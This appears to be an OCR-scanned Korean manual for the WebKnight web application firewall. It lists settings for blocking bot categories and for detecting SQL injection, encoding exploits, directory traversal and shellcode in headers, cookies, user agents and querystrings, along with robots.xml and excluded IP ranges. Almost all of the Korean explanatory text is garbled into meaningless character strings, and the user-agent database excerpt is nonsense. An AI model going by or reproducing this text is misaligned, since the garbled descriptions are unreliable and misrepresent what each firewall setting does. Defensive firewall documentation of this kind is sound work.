(® Extension Requests L|m|t IPFA7t 5753* IH) SFZFRTOf| CHoH e o~

10) Robots (2! AtO|E2| ZMof Chet X|ets *e*’é)
(@ Allow Bots Robots File :‘robots.txt’ofl CH$ 8 ©

(2 Dynamic Robots : dynamic robots file AtE O£ #|=2
(3 Deny Bots All : 2= BotQZ2E{2| @K X}t

(4) Deny Bots Bad : SS-E! Bot At

(5 Deny Bots Aggressive : 0| Bot(280| #2) kj¢t

(® Block Bots Data Mining Commercial : 224%! Bot Data Atct

@ Block Bots Data Mining Public : H|F2| 35 2% Data &= At
(® Block Bots Download Managers : CF2EZE bot AFH:F

(9 Block Bots Email Harvesting : Email &&Z & Bot AFzt
Block Bots Guestbook Spammers :2fH= AT Bot A}

(D Block Bots Hack Tools : Hack Tools bot Azt

1 Block Bots Image Downloaders : 0|0|X| C+22H bot A}

(13 Block Bots Indexing - A4Q1El bot Xpct

Block Bots Monitoring . 2L[E{&! bot AFEt

(15 Block Bots Offline Browsers : Offline Browser bot Attt

Block Bots Other Bad : 71 2| Bad bot A&t

(7 Block Bots Trademark : MZHH QU= bot A

Block Bots Validation Tools : A& =7 bot At:t

Block Bots Link Checking : Line Check bot X}t

Block Bots Browsers : Browser bot AFzt

@ Block Bots Medai Players : Media Players bot X}t

@ Block Bots Proxies : Proxie At bot Xtct

A Hot 23} oM
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@ Block Bots Adware : Adware bot Azt

Block Bots Browser Extensions : Browser 2% bot XFct

@) Block Bots Spyware : Spyware bot Xt¢t

Block Bots Editing : Web/html edit xtct

@ Block Bots News Feed : News Feed bot Azt

Block Bots Search Engines : ZA4AEI bot AHct

Block Bots Filtering Software : EE{& 2ZEQ|0{ bot Xttt

0 Block Bots Software Component : E8 AT EQ|0| A & Xttt
8D Block Bots Translation : 1% bot xHct

2 Block Bots SEO : 24 ATl X[&{5} 1t AH|A XpcH

11) Headers(Mt2| 8|H HEo| HAR Hof Chet WEY £X o|HS Atthks HF)
(@ Denied Headers : 2| AE0| =8l 2{0] AUS Al Ktct
(2 Header SQL Injection : 8IIE1E St SQL Injection Xt
(3 Header Encoding Exploits : $IC1E S¢t 213 A4S K
(4) Header Directory Traversal : of|{0f] 49| CIME2| 0|SS @[t 2k XLt
(5 Header High Bit Shellcode : 8|10 ascii 127 O|Af A}
(® Maximum Header Length : i|C42| %|cH 20|15 H|st
(@) Max Headers : 28 & 2| Z0|E Aot
Denied Header Sequences : X|&3t 6| AJEA K
(9 Denied Header Regular Expressions : 6|5 2| 410 of2lf LIS 3t 2 HL K¢t

12) Host
() RFC Compliant Header : 81|C401| ‘Host 7t 8|0
2 Allowed Host Headers : 220 Q= SAEHDS
(3 Denied Host Headers : 8i|E{0]| @ AEHO| S50 ZO0H AHE
@ Allow Denied Host Access : 0| IPOi| Denied Host Headers 8f|Ci7t0] ZXHSI0{ = ANAES 52

(® Excluded Host Headers : S20| Y= SAE §|GE H|Qot EH € AIO|E0| Ciot A @™ E A

13) Content Type(5122 Content-TypeS MH)
@ Allowed Content Types - Content TypeO| 0| =0 gl= 22 2™ S HE
(2) Denied Content Types : Content TypeO| 0] Z20] Q= AL 282 AL
(3 Maximum Content Length : Content Length 81T gt Hgt
@ Allowed Transfer Encodings : Transfer Encoding0| 0] 220 gl= 22 28 A&
(5 Denied Transfer Encodings : Transfer Encoding0| 0| S20f = 22 28 HE
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14) Cookie
(@ Cookie HttpOnly : F7|0f| HttpOnly EMS A
(2 Cookie Secure : HTTPSO{| A A $F MOl £
(3 Cookie SQL Injection : ‘Cookie:’ IOl A] SQL QIH|M tct
() Cookie Encoding Exploits : ‘Cookie” SOl A Q12 Y S kfct
(5 Cookie Directory Traversal : ‘Cookie:” SlIC{0fA{AF?| CIME2| 0SS st Zf AHct
(6 Cookie High Bit Shellcode : ‘Cookie.” SIIC{0f| A ascii 127 0|4 Q& xjct
(@ Cookie Special Whitespace : 7H&('\r'), Line feed(\n’), form feed(\f), backspace Xtct
Cookie Parameter Pollution : 37| T2t0|E{ tHZE KpEt
(9 Cookie Parameter Name Require Regular Expression : 7| Tt2t0|E{ 0|52 He| M40z MH
Cookie Input Validation : AF2X} 23 2t AS
(D Denied Cookie Sequences : SSE EX7F 27 |LHo]| Q= B A

15, A SZENN 77|20 HAS oy
O 4142 M

o

15) User Agent(User-Agent0f| Cgt Xjch A7)
(@ User Agent Empty - User-Agent7} HIO{QLOH XH¢t
(2 User Agent Non RFC : User-Agent?t RFC 20| X fO™ X
(3 User Agent SQL Injection : User-Agent L SQL Injection XFzt
(@) User Agent High Bit Shellcode : User-Agent Of ascii 127 0|4} shellcode X+t
(5) User Agent Special Whitespace : Z#&(\r), Line feed('\n’), form feed(f), backspace xtct
(® Require User Agent Character : User-Agent0ll SSEl 2XAtE MO0{c StLt LESHX| 4S i KFE
@ User Agent Current Date : User-Agent7t SS& M YAOZE ofxf LI2tE X ot
US I Kpch
User Agent Switching : Tt IP =201 A User-Agent?t L{F 20| HEE|= B2 K¢
(9 Denied User Agents : Sl User-Agent E2XIZ0i| CHet @4 X
Denied User Agent Sequences : User-Agenttll SS& Xt A|ZATF el 2 Xtct
(D Excluded User Agent : User-Agent 7t 2=50f| = 2% 20t ZM @B S T2l

16) Referrer(Referrerg}ofl CHt AfCh M)

- Referrer 220 2 += U= AUS0l O
E20] Ciet AF2 M| 3E E01F 1
dE¥g 2oz

(1 Use Referrer Scanning : Referrer URL 2712 AL

MHO

—
% 9| 7| n2lof etE St o Y
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17) Hot Linking(S7 0| X| 2 Z|3 &5t Hot Linking0| CHet XHct A7)
(D Referrer Hot Linking : Hot Linking®l £ URLO|L} ItSHEX} HAL
(@) Referrer Hot Linking Use Host Header : SAE &5 2| TH|QI0]| 3t 23 E MESHEE {8
(3 Referrer Hot Linking Blank Refferrer : 2% El I SFAIXtLF Urloj] CHt refferr7} gl AL ARt
% 91 FHel|n2lof ehE SYUot Bl Y2 dafet
18) Methods(51857{Lt AtC 2 Method% &)
@ Allowed Verbs : 518 H A=
(2) Denied Verbs : Afctet HAE

(3 Denied Payload : sl @& HEL0|| CH HIO|2EE HE

19) Querystring(SX 2|0fl Chot AEZIS KLt

(D Use Querystring Raw Scan : 7t&=|X| 942 Querystring AZH

(2 Denied Querystring Sequences : Querystringdll S2 & 2XFZ0| AUCHH Kpt

(3 Denied Querystring Regular Expressions : S &A1t I§& == Querystring At
% | 7| n2]ol| ZetE SUBH M| MY A2

O o=

-

—a

20) Post(Postdataoi| Ciet Xtz M)
(@ Denied Post Regular Expressions : Postdatat S50 =
2 Post Log Length : E2|4& [} Postdatall HIO|E 5 7|5

% 9| FHE| 2|0l TSHEl SUst x| MmO Al

O o=

arst
21) Global Filter Capabilities(Global Filter2| 2 {2 E MY EXN HAER 5 kL)
@ Is Installed In Web Proxy . 2t Mx| of 5 =0l

(2 Slow Header Attack : 8i|C{7t 26 A HH S| ELHE A Ktct
(3 Slow Post Attack : PostdataZ} 2 I§Z1 O 2 MHMS| HLE AR k&

22) Response Monitor(AH0f| Ao & 2121 MH)
(D Response headers : HTTP S&H0{| A SIE1E 271, A = H|7H

) 4

(@ Log HTTP Client Errors : 22t0[2HE ALO|=0f| A EMSH= HTTpg 2272

(3 Log HTTP Server Errors : At AtO|E0]M ZMSL= HTTP 2R E 7|5
@ Information Disclosure : YIAMHZEE E26t= IiZl0| SE= E“*Eﬂ Hot= AR ApEt
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23) SQL Injection(SQL Injection=Z 0| Clist TE{RIS M)

@ SQL Injection Keywords : SQL Injection0fl AF2E|= 7|19E S5

(@ SQL Injection Allowed Count : 2=l —T—”*EQI SQL Injection 324 FA|

(® SQL Injection Normalize Whitespace : 2i2gtS A76E7| Mo ¥l 37+ |7

@ SQL Injection Replace Numeric With One : <=Xt2t Boolean a2 12 1X[5t0] A7H

24) Encoding Exploits
(@ Encoding Keywords : Encoding exploitt]] A2 El= 7|9 S5
(2) Detect Double Encoding : 0|F Q12 S AZH
(3 Detect Invalid UTF-8 : R=6HX| 942 UTF-8 A|[HA

4 2

x 9l 7| nefof] ZelEl SHSH HEO| A2 AE

25) Web Applications(2 0{Zz2|7|0|M 7|5 M)
(@ Allow File Uploads : MHZ2| It AZE 5E

@ Allow Unicode : MHZ EL{= HI0|E L] Unicode Q12 51€

—
i Ofct 2t 20| M5 M3 2ol 3 K 8 342 &4

2.2 Robot.xml

WebKnight 2.08E X|E= 7|5 S0 Robots.xmlE 0|83t User-Agent2| ZA| 7|S0]

ULt WebKnight AX[ZH0 &M ZE0 = Robots.xm M2 WebAgents Database
MU Z A oF KO|LE ALV X ot Agent SOil CHSIO] AHEHet 4= QUCH.

Robot.xm|IY2 A2 UE|0|E T[22 AQTRONIX SH|O|X|0|Af %

AL|0|E S 8l &= 10| ZLt. Robot.xmlItLof ofsh A}Eto| 2 A ChSat 2

BLOCKED : User Agent not allowed
BLOCKED : ‘[token]’ not allowed in User Agent

X XHLISl Agentlt AHEHEL AgentZt O £-49| AgentIX| 20 ACHH Of2ff URLOYA 2tel0]
7tSdICt,

- XpMe| Agent Etol
http://www.aqgtronix.com/useragents/?Action=Scanlinfected

- Agent ZM
http://www.aqgtronix.com/useragents
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&7l Robots.xmle| DataBase $&He Ct21t ZT. (X2 ‘18.03. 07 7|1%)

ROTROMIX
Usrr-Agrnds Database

Ui g
MyPhor_myIT_DTH
nnn

BATLEE
WAL

FH

e

SAMEIRG S A5

sm-ansen
LG MTO

i

HESLLD

HH PR

ADLI0

sk

AU _EHD
AHBATRL RO
b 4 Py
T
HA-CAEEA
sh-Lavas

LG5

LEaRReD

wpsLy

o|0] YA U= Agent=2| DatabaseE MEstH F7| Z0| SL|O|X|E A= 2HQISHK
AL|0|EE df = 20| ELF.

L L L L L L L L L L L L L

http://www.agtronix.com/downloads/WebKnight/Robots/Robots.xml

3.3 EciT] ZAofle] 1P 2%

Q[ F0]| A 7‘|°“EIE?=. Forg HHolLt 2ol oY S2 ¥ & woll= HY EEH |2 54 E2fEOf H%
o Hz2o S BXI7F £ 3iE IP7F AFEO| EICE 27| w0l Hg M ool IPE EFoto

.
XIEE IPof EH5H)\1E AHEHE|X] G5 K|S ol F0{0F Xl HHO| 7HSOtCt.

ot

ofMe| & IPE WebKnight A& Tt A Connection - Excluded IP Addresses M2 X3

220 222! S Insert itemS S A F71et 4 QUL

| Exduded IP Ad-dresses Default:|
[alues ]
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16 Find ltem
|
Insert ltem
Insert Multiple ltems

Edit Item

Excluds camain [P addrasses ar rang 1 access to your wab sarvices, Far
ranges you can use wildcards ["10.7. &n ['10.0.0.1-10.0.0.5"),
Remove [tem

Remowve Selected

Remowve All
[+ Motify Authentication Lo ault: [
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